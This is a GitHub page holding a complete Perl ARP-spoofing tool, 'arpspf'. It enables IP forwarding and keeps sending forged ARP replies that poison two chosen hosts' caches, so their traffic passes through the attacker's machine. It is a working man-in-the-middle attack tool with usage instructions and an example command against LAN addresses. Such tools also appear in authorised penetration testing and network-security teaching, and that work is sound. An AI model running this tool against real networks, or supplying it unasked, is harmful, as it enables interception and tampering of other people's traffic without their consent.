-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patharpspf
133 lines (109 loc) · 3.39 KB
/
arpspf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/perl
#
# Author: <[email protected]>
# License: GNU GPL-3.0
#
use strict;
use warnings;
use Net::ARP;
use Net::Ping;
use Getopt::Long;
use Term::ANSIColor;
unless($> == 0) {
printcolor("[!!] You need to run this as 'root'\n", 'red');
exit 0;
}
else {
system("echo 1 > /proc/sys/net/ipv4/ip_forward");
}
my($interface, $target1_ip, $target2_ip, $sleep);
GetOptions(
'i=s' => \$interface,
't1=s' => \$target1_ip,
't2=s' => \$target2_ip,
's=i' => \$sleep
);
&usage() unless $interface;
&usage() unless $target1_ip;
&usage() unless $target2_ip;
$sleep = $sleep ? $sleep : 2;
my $local_mac = Net::ARP::get_mac($interface);
if($local_mac eq 'unknown') {
printcolor("[!!] Unknown local MAC address\n", 'red');
exit 0;
}
else {
printcolor("[*] Local MAC is $local_mac\n", 'magenta');
}
my $target1_mac = &get_mac_addr($target1_ip);
if($target1_mac eq 'unknown') {
printcolor("[!!] Unknown MAC address of Target 1\n", 'red');
exit 0;
}
my $target2_mac = &get_mac_addr($target2_ip);
if($target2_mac eq 'unknown') {
printcolor("[!!] Unknown MAC address of Target 2\n", 'red');
exit 0;
}
printcolor("[*] Target 1: $target1_ip => $target1_mac\n", 'magenta');
printcolor("[*] Target 2: $target2_ip => $target2_mac\n", 'magenta');
$SIG{TSTP} = $SIG{TERM} = $SIG{INT} = $SIG{QUIT} = $SIG{HUP} = \&restore_arp;
printcolor("[+] Starting ARP spoofing...\n", 'green');
printcolor("[+] Ctrl + C to Stop\n", 'green');
while() {
printcolor("[==>] Sending $target2_ip: $target1_ip is at $local_mac\n", 'blue');
&send_arp($target1_ip,$target2_ip,$local_mac,$target2_mac);
printcolor("[==>] Sending $target1_ip: $target2_ip is at $local_mac\n", 'blue');
&send_arp($target2_ip,$target1_ip,$local_mac,$target1_mac);
printcolor("[zzz] Sleeping for $sleep seconds\n", 'blue');
sleep($sleep);
}
sub send_arp {
my $sourceIP = shift;
my $destinationIP = shift;
my $sourceMAC = shift;
my $destinationMAC = shift;
unless(Net::ARP::send_packet(
$interface,
$sourceIP,
$destinationIP,
$sourceMAC,
$destinationMAC,
'reply'
)) {
printcolor("[!!] Exiting...\n", 'red');
exit 0;
}
}
sub restore_arp {
printcolor("\n[+] Restoring ARP...\n", 'green');
&send_arp($target1_ip,$target2_ip,$target1_mac,'ff:ff:ff:ff:ff:ff');
&send_arp($target2_ip,$target1_ip,$target2_mac,'ff:ff:ff:ff:ff:ff');
system("echo 0 > /proc/sys/net/ipv4/ip_forward");
printcolor("[+] Exiting...\n", 'green');
exit 0;
}
sub get_mac_addr {
my $ip = shift;
my $ping = Net::Ping->new('icmp');
$ping->ping($ip, 2);
undef $ping;
my $mac = Net::ARP::arp_lookup($interface,$ip);
return $mac;
}
sub printcolor {
my($text, $color) = @_;
print color($color), $text;
print color('reset');
}
sub usage {
print "Usage:\n\n\$ sudo perl $0 -i [interface] -t1 [target1 IPv4 addr] -t2 [target2 IPv4 addr]\n\n";
print "Options:\n\n";
print "\t-i [interface]\t\tnetwork interface\n";
print "\t-t1 [IPv4]\t\tfirst target\n";
print "\t-t2 [IPv4]\t\tsecond target\n";
print "\t-s [seconds]\t\tsleeping time after sending ARP packets\n";
print "\nExample:\n\n\$ sudo perl $0 -i eth0 -t1 192.168.8.1 -t2 192.168.8.123 -s 5\n\n";
exit 0;
}
BEGIN { &printcolor("ARP Spoofer by weXe1\n".'-'x20 ."\n", 'bold blue'); }